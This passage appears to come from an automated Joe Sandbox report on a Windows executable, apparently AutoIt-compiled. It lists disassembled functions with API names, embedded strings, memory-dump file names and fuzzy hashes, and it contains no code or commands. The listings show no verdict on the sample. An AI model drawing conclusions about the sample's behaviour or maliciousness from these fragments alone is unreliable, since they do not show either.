                                                          • Instruction Fuzzy Hash: 94D1D132B4869641EA20BB15D540179EBA2FF54BE4FA04231DA5F67B98DF3CE947C320
                                                          Function 00007FF787BE176C Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 226COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ClassName$Window$Text$BuffCharRectUpperwcsstr
                                                          • String ID: ThumbnailClass
                                                          • API String ID: 4010642439-1241985126
                                                          • Opcode ID: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
                                                          • Instruction ID: 9e1410ad9e671ac262086ea4f44263f87602663962ac32da56ebd455f6a05fdb
                                                          • Opcode Fuzzy Hash: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
                                                          • Instruction Fuzzy Hash: 58A1A433A4864643EB64AB15D4446BAEB63FB85784FB09035CA9F03B95DE3DF906CB10
                                                          Function 00007FF787B71504 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                          • String ID: P
                                                          • API String ID: 1268354404-3110715001
                                                          • Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
                                                          • Instruction ID: 1dedb26de6921673c0bf253507c6145c73507d836f9dcacaad3dfd16085abb6e
                                                          • Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
                                                          • Instruction Fuzzy Hash: 2761E236A486428AEB14EF29D840679ABA5FF84BD8FA04535DE4F47794DF3CE442C720
                                                          Function 00007FF787BF34E4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 149COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: LoadStringwprintf
                                                          • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                          • API String ID: 3297454147-2391861430
                                                          • Opcode ID: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
                                                          • Instruction ID: c64a9d66c1bc4724d7c042de2996a8a721826893331620e8b734c294f3434156
                                                          • Opcode Fuzzy Hash: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
                                                          • Instruction Fuzzy Hash: D3717032B68A8292EB40FB65E8414E9A722FF44794FE05032EA1F17699DF7CE507C750
                                                          Function 00007FF787C1AD1C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$CreateMessageObjectSend$AttributesCompatibleDeleteDestroyLayeredLongMovePixelSelectStock
                                                          • String ID: static
                                                          • API String ID: 3821898125-2160076837
                                                          • Opcode ID: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
                                                          • Instruction ID: 372c33f768d77465239e35f131952c0effc6f453c81332f0693c180c4909294c
                                                          • Opcode Fuzzy Hash: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
                                                          • Instruction Fuzzy Hash: 4D416F3665878187E760DF25E444B6EB365FB887A0FA04235DA9E47B98CF3CD446CB10
                                                          Function 00007FF787BDC5FC Relevance: 16.7, APIs: 11, Instructions: 166COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                          • String ID:
                                                          • API String ID: 1255039815-0
                                                          • Opcode ID: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
                                                          • Instruction ID: 9d15225b2d733dbd360c5504f82d6395cc02c593f7fce089cc7c91e5f4717749
                                                          • Opcode Fuzzy Hash: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
                                                          • Instruction Fuzzy Hash: 8761B132B54A528AEB10EF61D8889BD7FA5FB44BC8BA45035DE0E53784DF39D846C360
                                                          Function 00007FF787B7E774 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 438COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00007FF787B76838: CreateFileW.KERNELBASE ref: 00007FF787B768A2
                                                            • Part of subcall function 00007FF787B94380: GetCurrentDirectoryW.KERNEL32(?,00007FF787B7E817), ref: 00007FF787B9439C
                                                            • Part of subcall function 00007FF787B756D4: GetFullPathNameW.KERNEL32(?,00007FF787B756C1,?,00007FF787B77A0C,?,?,?,00007FF787B7109E), ref: 00007FF787B756FF
                                                          • SetCurrentDirectoryW.KERNEL32 ref: 00007FF787B7E8B0
                                                          • SetCurrentDirectoryW.KERNEL32 ref: 00007FF787B7E9FA
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CurrentDirectory$CreateFileFullNamePathwcscpy
                                                          • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                          • API String ID: 2207129308-1018226102
                                                          • Opcode ID: 4ac80936d32c7aa5c79f451fef2e0fd3803b9cc55d01ab16a50883cbca759f3a
                                                          • Instruction ID: 67e87ccb81b702a4275e135f65c6df472a55ae35266365e724f90cb080518aaa
                                                          • Opcode Fuzzy Hash: 4ac80936d32c7aa5c79f451fef2e0fd3803b9cc55d01ab16a50883cbca759f3a
                                                          • Instruction Fuzzy Hash: 1312A532A5864286EB10FB29D4501BEEB62FF85794FE04131EA4F4B6A9DF7CD506C720
                                                          Function 00007FF787C066B4 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 182comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                                          • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                          • API String ID: 636576611-1287834457
                                                          • Opcode ID: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
                                                          • Instruction ID: 68b4469bed757fd3e7d6030659a5d1c2ed274501126638797705b516ccc13c31
                                                          • Opcode Fuzzy Hash: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
                                                          • Instruction Fuzzy Hash: FF719D22A48A06C1EB14EF2AE4402BDA7A4FF45B99FA44431DE0F57765DF38E446C3A0
                                                          Function 00007FF787C02A18 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 174networkfileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Icmp$CleanupCloseCreateEchoFileHandleSendStartupgethostbynameinet_addr
                                                          • String ID: 5$Ping
                                                          • API String ID: 1486594354-1972892582
                                                          • Opcode ID: e10d707c2ccc8c8e229b93576497dc969839fee377a1bbf9481b12c7ce409e4d
                                                          • Instruction ID: 8cc14d8469920f848a45376c39c0816072c67a91309c3bbe37902fbad2730bbe
                                                          • Opcode Fuzzy Hash: e10d707c2ccc8c8e229b93576497dc969839fee377a1bbf9481b12c7ce409e4d
                                                          • Instruction Fuzzy Hash: 3E718E72A4864286EB20EB69D48037DBB65FF84B91FA18431DA5F47791CF7CD482C760
                                                          Function 00007FF787BAD504 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
                                                          • API String ID: 3215553584-2617248754
                                                          • Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
                                                          • Instruction ID: 8a11bd59ff5072839186115f3ebb234cd325af21062a3a0f032dd6d8aee00e23
                                                          • Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
                                                          • Instruction Fuzzy Hash: 2F41B072A5AB4189FB11EF25E8417EDB7A9FB08388FA04136EE5D17B94DE38D016C350
                                                          Function 00007FF787BE76D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 77windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: HandleLoadMessageModuleStringwprintf
                                                          • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                          • API String ID: 4007322891-4153970271
                                                          • Opcode ID: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
                                                          • Instruction ID: e96d4f288b7fe83a6dd47951110d8cc0cc3a917cdbb724ba018e984a12ace838
                                                          • Opcode Fuzzy Hash: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
                                                          • Instruction Fuzzy Hash: 2F319432A58A8292EB10FB24E4455ADA765FF44BC4FE44032EA4E47B99DF3CD507C750
                                                          Function 00007FF787BDE1AC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CtrlParent$ClassName
                                                          • String ID: ComboBox$ListBox
                                                          • API String ID: 2573188126-1403004172
                                                          • Opcode ID: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
                                                          • Instruction ID: b67fb7e90ccd76cb1f6095e3802006079c667d49bb164eacc65354fa99b9c824
                                                          • Opcode Fuzzy Hash: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
                                                          • Instruction Fuzzy Hash: 5C31E731B88B8182EB10FB15E9541B9A762FF88BE0FD44131DAAF07796DE2CD506C760
                                                          Function 00007FF787BDE08C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CtrlParent$ClassName
                                                          • String ID: ComboBox$ListBox
                                                          • API String ID: 2573188126-1403004172
                                                          • Opcode ID: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
                                                          • Instruction ID: 7ffcd2a9a9a48b8ae7cce6e7958fa8bfcdfeede77ad8afe9fdfdc9983f0a04b6
                                                          • Opcode Fuzzy Hash: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
                                                          • Instruction Fuzzy Hash: 9131B431B88A4182EB10EB15E9541B9A762FF89BF0F944231DABE077D5CE2CD506C760
                                                          Function 00007FF787BECA98 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: wcscpy$CleanupStartupgethostbynamegethostnameinet_ntoa
                                                          • String ID: 0.0.0.0
                                                          • API String ID: 2479661705-3771769585
                                                          • Opcode ID: 281b95de85becf4cb0c172ae07bcd082ee5a72526fdd79f54f4593c1c2c2b1be
                                                          • Instruction ID: 5d782784456706fbe9e1354cf7b377bafb22c54c270584b26893554f336ec928
                                                          • Opcode Fuzzy Hash: 281b95de85becf4cb0c172ae07bcd082ee5a72526fdd79f54f4593c1c2c2b1be
                                                          • Instruction Fuzzy Hash: DC219232A9858681EB20FB21E4843BDE726FF85B80FE04135D59F47BA5DE6CD946C324
                                                          Function 00007FF787C20D7C Relevance: 15.2, APIs: 10, Instructions: 209windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ItemMenu$InfoWindow$CheckCountCtrlEnabledFocusLongMessagePostProcRadio
                                                          • String ID:
                                                          • API String ID: 2672075419-0
                                                          • Opcode ID: 7f60c88404643dc1ac8f4702e655552145117f454e5503c1890abb71af915063
                                                          • Instruction ID: b3434717facf57267ba26b921c4b69d0faa0a31300570607e7c94dbef983af24
                                                          • Opcode Fuzzy Hash: 7f60c88404643dc1ac8f4702e655552145117f454e5503c1890abb71af915063
                                                          • Instruction Fuzzy Hash: 7E91B536B596468AE750EF65D4807BDA3A9FB44B88FB04035DE1E43699DF38E447C320
                                                          Function 00007FF787BE92E4 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                          • String ID:
                                                          • API String ID: 2156557900-0
                                                          • Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
                                                          • Instruction ID: 68d4ab97d7344a6838fa9891d70fbd2bf022b546bebabc3f9a62f1f2c2d924d2
                                                          • Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
                                                          • Instruction Fuzzy Hash: F6312135B5860286EB60FB65E484639F6A6BB58750FB04138CD0F83764EE3DE44BC721
                                                          Function 00007FF787BDE908 Relevance: 15.1, APIs: 10, Instructions: 59keyboardsleepwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Virtual$MessagePostSleepThread$AttachCurrentInputProcessWindow
                                                          • String ID:
                                                          • API String ID: 685491774-0
                                                          • Opcode ID: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
                                                          • Instruction ID: 41cf13d7567a4be45768dd95e1e111054e91372deee6192287bff2b334d49052
                                                          • Opcode Fuzzy Hash: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
                                                          • Instruction Fuzzy Hash: 9211A235B5450282F704AB66F99857E6662BFCCB90FE05038C91F8BB50DE7DD056C360
                                                          Function 00007FF787BDF7F4 Relevance: 14.5, APIs: 2, Strings: 6, Instructions: 471COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                          • API String ID: 0-1603158881
                                                          • Opcode ID: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
                                                          • Instruction ID: 87d1c949b9c55c15e64a72cccf5defd8d9545cc5eb0faf8b11ebdf3c04a3bac7
                                                          • Opcode Fuzzy Hash: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
                                                          • Instruction Fuzzy Hash: 6B12D672B5C64356EA68AB20C8992F8EE93BF14744FE44531DA3F56290EF3CE543C220
                                                          Function 00007FF787C0767C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 231COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
